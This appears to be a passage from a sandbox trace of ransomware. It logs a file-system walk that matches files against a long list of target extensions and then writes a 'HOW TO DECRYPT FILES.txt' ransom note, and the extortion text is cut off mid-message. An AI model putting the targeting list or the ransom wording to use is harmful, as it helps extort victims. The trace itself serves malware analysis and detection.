lstrlenA (lpString="*.cs") returned 4 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0109.621] lstrlenA (lpString="*.cpp") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0109.621] lstrlenA (lpString="*.rar") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0109.621] lstrlenA (lpString="*.zip") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0109.621] lstrlenA (lpString="*.html") returned 6 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0109.622] lstrlenA (lpString="*.htm") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0109.622] lstrlenA (lpString="*.xlsx") returned 6 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0109.622] lstrlenA (lpString="*.xls") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0109.622] lstrlenA (lpString="*.mp4") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0109.622] lstrlenA (lpString="*.ppt") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0109.622] lstrlenA (lpString="*.pptx") returned 6 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0109.622] lstrlenA (lpString="*.doc") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0109.622] lstrlenA (lpString="*.dot") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0109.622] lstrlenA (lpString="*.docx") returned 6 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0109.622] lstrlenA (lpString="*.7z") returned 4 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0109.622] lstrlenA (lpString="*.tar") returned 5 [0109.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0109.622] lstrlenA (lpString="*.bz2") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0109.623] lstrlenA (lpString="*.gz") returned 4 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0109.623] lstrlenA (lpString="*.mkv") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0109.623] lstrlenA (lpString="*.eml") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0109.623] lstrlenA (lpString="*.msg") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0109.623] lstrlenA (lpString="*.edb") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0109.623] lstrlenA (lpString="*.accdb") returned 7 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0109.623] lstrlenA (lpString="*.odb") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0109.623] lstrlenA (lpString="*.java") returned 6 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0109.623] lstrlenA (lpString="*.asm") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0109.623] lstrlenA (lpString="*.pfx") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0109.623] lstrlenA (lpString="*.pem") returned 5 [0109.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0109.623] lstrlenA (lpString="*.p12") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0109.624] lstrlenA (lpString="*.gpg") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0109.624] lstrlenA (lpString="*.vsd") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0109.624] lstrlenA (lpString="*.odg") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0109.624] lstrlenA (lpString="*.raw") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0109.624] lstrlenA (lpString="*.nef") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0109.624] lstrlenA (lpString="*.svg") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0109.624] lstrlenA (lpString="*.psd") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0109.624] lstrlenA (lpString="*.vmx") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0109.624] lstrlenA (lpString="*.vmdk") returned 6 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0109.624] lstrlenA (lpString="*.vdi") returned 5 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0109.624] lstrlenA (lpString="*.lay6") returned 6 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0109.624] lstrlenA (lpString="*.mpeg") returned 6 [0109.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0109.625] lstrlenA (lpString="*.djvu") returned 6 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0109.625] lstrlenA (lpString="*.tiff") returned 6 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0109.625] lstrlenA (lpString="*.backup") returned 8 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0109.625] lstrlenA (lpString="*.pdf") returned 5 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0109.625] lstrlenA (lpString="*.cert") returned 6 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0109.625] lstrlenA (lpString="*.docm") returned 6 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0109.625] lstrlenA (lpString="*.xlsm") returned 6 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0109.625] lstrlenA (lpString="*.dwg") returned 5 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0109.625] lstrlenA (lpString="*.nd") returned 4 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0109.625] lstrlenA (lpString="*.tlg") returned 5 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0109.625] lstrlenA (lpString="*.lgb") returned 5 [0109.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0109.625] lstrlenA (lpString="*.mov") returned 5 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0109.626] lstrlenA (lpString="*.xdw") returned 5 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0109.626] lstrlenA (lpString="*.ods") returned 5 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0109.626] lstrlenA (lpString="*.wav") returned 5 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0109.626] lstrlenA (lpString="*.mp3") returned 5 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0109.626] lstrlenA (lpString="*.aiff") returned 6 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0109.626] lstrlenA (lpString="*.flac") returned 6 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0109.626] lstrlenA (lpString="*.m4a") returned 5 [0109.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0109.626] lstrlenA (lpString="*.csv") returned 5 [0109.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376dd5d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x376dd5d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x376dd5d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.626] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.626] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39074250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x39074250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x39074250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="077a55be734d6ef6e2de59fa7325dac5", cAlternateFileName="077A55~1")) returned 1 [0109.626] lstrcmpA (lpString1=".", lpString2="077a55be734d6ef6e2de59fa7325dac5") returned -1 [0109.626] lstrcmpA (lpString1="..", lpString2="077a55be734d6ef6e2de59fa7325dac5") returned -1 [0109.626] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0109.626] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="077a55be734d6ef6e2de59fa7325dac5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5" [0109.627] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5") returned 100 [0109.627] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39074250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x39074250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x39074250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.627] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39074250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x39074250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x39074250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.627] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.627] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39074250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x39074250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x39074250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x33400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.627] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.627] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll") returned -1 [0109.628] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll") returned -1 [0109.628] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll") returned -1 [0109.628] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\*.*") returned="*.*" [0109.628] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\" [0109.628] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\") returned="" [0109.628] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\HOW TO DECRYPT FILES.txt" [0109.628] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\077a55be734d6ef6e2de59fa7325dac5\\how to decrypt files.txt")) returned 0xffffffff [0109.628] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\077a55be734d6ef6e2de59fa7325dac5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.636] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the 